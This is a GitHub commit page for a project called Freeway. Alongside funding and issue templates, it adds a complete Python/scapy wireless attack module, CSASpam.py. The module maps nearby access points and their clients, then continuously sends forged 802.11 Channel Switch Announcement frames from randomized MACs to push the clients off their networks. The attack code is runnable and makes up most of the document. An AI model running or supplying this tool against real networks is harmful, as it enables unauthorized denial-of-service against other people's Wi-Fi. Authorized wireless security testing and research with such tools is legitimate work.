Skip to content

Commit 3460842

Browse files
committed
Freeway 1.5.0.42
0 parents  commit 3460842

38 files changed

+6479
-0
lines changed

.github/FUNDING.yml

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# These are supported funding model platforms
2+
3+
github: FLOCK4H
4+
patreon: # Replace with a single Patreon username
5+
open_collective: # Replace with a single Open Collective username
6+
ko_fi: flock4hh
7+
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8+
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9+
liberapay: # Replace with a single Liberapay username
10+
issuehunt: # Replace with a single IssueHunt username
11+
lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
12+
polar: # Replace with a single Polar username
13+
buy_me_a_coffee: # Replace with a single Buy Me a Coffee username
14+
thanks_dev: # Replace with a single thanks.dev username
15+
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
---
2+
name: Bug report
3+
about: Bug issue
4+
title: Freeway vx.x.x
5+
labels: ''
6+
assignees: ''
7+
8+
---
9+
10+
**Describe the bug**
11+
A clear and concise description of what the bug is.
12+
13+
**To Reproduce**
14+
Steps to reproduce the behavior:
15+
1. Go to '...'
16+
2. Click on '....'
17+
3. Scroll down to '....'
18+
4. See error
19+
20+
**Additional context**
21+
Add any other context about the problem here.
22+
23+
Thats it!
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
---
2+
name: Feature request
3+
about: Suggest an idea for this project
4+
title: FR
5+
labels: enhancement
6+
assignees: ''
7+
8+
---
9+
10+
**Describe the feature you'd like to add**
11+
A clear and concise description of what you want to happen.
12+
13+
**Additional context**
14+
Add optionally, any other context or screenshots about the feature request here.

Arsenal/CSALab/CSASpam.py

Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
from scapy.all import *
2+
import threading
3+
import time
4+
from queue import Queue
5+
from FreewayTools.colors import cprint, wprint, cinput, ColorCodes
6+
7+
# Global event to control threads
8+
thread_event = threading.Event()
9+
10+
class Sniffer:
11+
def __init__(self, interface, collector, debug=False):
12+
self.interface = interface
13+
self.collector = collector
14+
self.debug = debug
15+
self.ap_clients = {}
16+
self.lock = threading.Lock()
17+
18+
def packet_handler(self, packet):
19+
if thread_event.is_set():
20+
return
21+
22+
# Only process management frames
23+
if packet.haslayer(Dot11):
24+
dot11_layer = packet.getlayer(Dot11)
25+
# Beacon frame (Subtype 8) - an AP
26+
if dot11_layer.type == 0 and dot11_layer.subtype == 8:
27+
ap_bssid = dot11_layer.addr2
28+
ssid = packet[Dot11Elt].info.decode(errors='ignore') if packet.haslayer(Dot11Elt) else "Unknown"
29+
with self.lock:
30+
if ap_bssid not in self.ap_clients:
31+
self.ap_clients[ap_bssid] = set()
32+
cprint(f"Detected AP: {ssid} [{ap_bssid}]")
33+
elif dot11_layer.type == 0 and dot11_layer.subtype in [4, 0]:
34+
client_mac = dot11_layer.addr2
35+
if dot11_layer.addr1:
36+
ap_bssid = dot11_layer.addr1
37+
with self.lock:
38+
if ap_bssid in self.ap_clients:
39+
if client_mac not in self.ap_clients[ap_bssid]:
40+
self.ap_clients[ap_bssid].add(client_mac)
41+
cprint(f"Detected client: {client_mac} -> AP: {ap_bssid}")
42+
elif dot11_layer.type == 2:
43+
src = dot11_layer.addr2
44+
dst = dot11_layer.addr1
45+
with self.lock:
46+
for ap_bssid in self.ap_clients:
47+
if src == ap_bssid and dst not in self.ap_clients[ap_bssid]:
48+
self.ap_clients[ap_bssid].add(dst)
49+
cprint(f"Detected client: {dst} -> AP: {ap_bssid}")
50+
elif dst == ap_bssid and src not in self.ap_clients[ap_bssid]:
51+
self.ap_clients[ap_bssid].add(src)
52+
cprint(f"Detected client: {src} -> AP: {ap_bssid}")
53+
54+
if self.debug:
55+
cprint(f"Current packet: {packet.summary()}")
56+
57+
def run_sniff(self):
58+
while not thread_event.is_set():
59+
try:
60+
sniff(iface=self.interface, prn=self.packet_handler, store=0, monitor=True, timeout=1)
61+
except OSError as e:
62+
wprint(f"Network error on {self.interface}: {e}")
63+
time.sleep(1)
64+
except Exception as e:
65+
wprint(f"Unexpected error on {self.interface}: {e}")
66+
time.sleep(1)
67+
68+
def get_ap_clients(self):
69+
with self.lock:
70+
return {ap: clients.copy() for ap, clients in self.ap_clients.items()}
71+
72+
class Spammer:
73+
def __init__(self, interfaces, sniffer, debug=False):
74+
self.stop_event = threading.Event()
75+
self.interfaces = interfaces
76+
self.sniffer = sniffer
77+
self.debug = debug
78+
self.threads = []
79+
self.channel_lock = threading.Lock()
80+
self.current_channels = {}
81+
82+
def prep_csa_frame(self, target_bssid, target_client, new_channel, switch_count=1):
83+
csa_element = Dot11Elt(
84+
ID=37,
85+
info=struct.pack('BBB', 1, new_channel, switch_count)
86+
)
87+
88+
action_frame = Dot11(
89+
type=0, # Management frame
90+
subtype=13, # Action frame subtype
91+
addr1=target_client, # Destination address (client)
92+
addr2=RandMAC(), # Source address (randomized to obscure origin)
93+
addr3=target_bssid # BSSID of the AP
94+
) / Dot11Action(
95+
category=0 # Spectrum Management
96+
) / Raw(b'\x04') / csa_element # Action ID=4 followed by CSA element
97+
98+
return action_frame
99+
100+
def send_csa_frames(self, interface):
101+
"""
102+
Continuously send CSA frames to force APs to switch channels.
103+
:param interface: Network interface to send frames
104+
"""
105+
while not self.stop_event.is_set():
106+
ap_clients = self.sniffer.get_ap_clients()
107+
if not ap_clients:
108+
if self.debug:
109+
wprint("No APs or clients found yet.")
110+
time.sleep(1)
111+
continue
112+
113+
for ap_bssid, clients in ap_clients.items():
114+
with self.channel_lock:
115+
current_channel = self.current_channels.get(ap_bssid, 1)
116+
new_channel = current_channel + 1 if current_channel < 11 else 1 # We try to make an AP use 5GHz band by blocking all 2.4GHz channels
117+
self.current_channels[ap_bssid] = new_channel
118+
119+
for client in clients:
120+
# Prepare CSA frame
121+
csa_frame = self.prep_csa_frame(
122+
target_bssid=ap_bssid,
123+
target_client=client,
124+
new_channel=new_channel,
125+
switch_count=1 # Switch immediately before the next beacon
126+
)
127+
128+
sendp(
129+
csa_frame,
130+
iface=interface,
131+
verbose=False
132+
)
133+
134+
if self.debug:
135+
cprint(f"CSA Frame Sent: AP {ap_bssid} -> Client {client}, New Channel {new_channel}")
136+
137+
time.sleep(0.05)
138+
139+
time.sleep(1)
140+
141+
def start_spamming(self):
142+
"""
143+
Start spamming CSA frames on all specified interfaces.
144+
"""
145+
for iface in self.interfaces:
146+
thread = threading.Thread(target=self.send_csa_frames, args=(iface,), daemon=True)
147+
thread.start()
148+
self.threads.append(thread)
149+
cprint(f"Started CSA spamming on interface: {iface}", "green")
150+
151+
def stop_spamming(self):
152+
"""
153+
Stop all spamming threads.
154+
"""
155+
self.stop_event.set()
156+
for thread in self.threads:
157+
thread.join()
158+
cprint("CSA Spamming stopped.", "green")
159+
160+
def run_csa_spam(interfaces=["wlan0"]):
161+
collector = Queue()
162+
163+
sniffer = Sniffer(interface=interfaces, collector=collector, debug=True)
164+
sniffer_thread = threading.Thread(target=sniffer.run_sniff, daemon=True)
165+
sniffer_thread.start()
166+
cprint("Sniffer started.")
167+
168+
time.sleep(5)
169+
170+
spammer = Spammer(interfaces=interfaces, sniffer=sniffer, debug=True)
171+
spammer.start_spamming()
172+
173+
try:
174+
while True:
175+
time.sleep(1)
176+
except KeyboardInterrupt:
177+
cprint("Interrupt received, stopping...")
178+
thread_event.set()
179+
spammer.stop_spamming()
180+
sniffer_thread.join()
181+
cprint("All threads stopped. Exiting.")
182+
183+
if __name__ == "__main__":
184+
run_csa_spam()

Arsenal/CSALab/__init__.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
from .CSASpam import *
2+
3+
__all__ = ["run_csa_spam"]

0 commit comments

Comments
 (0)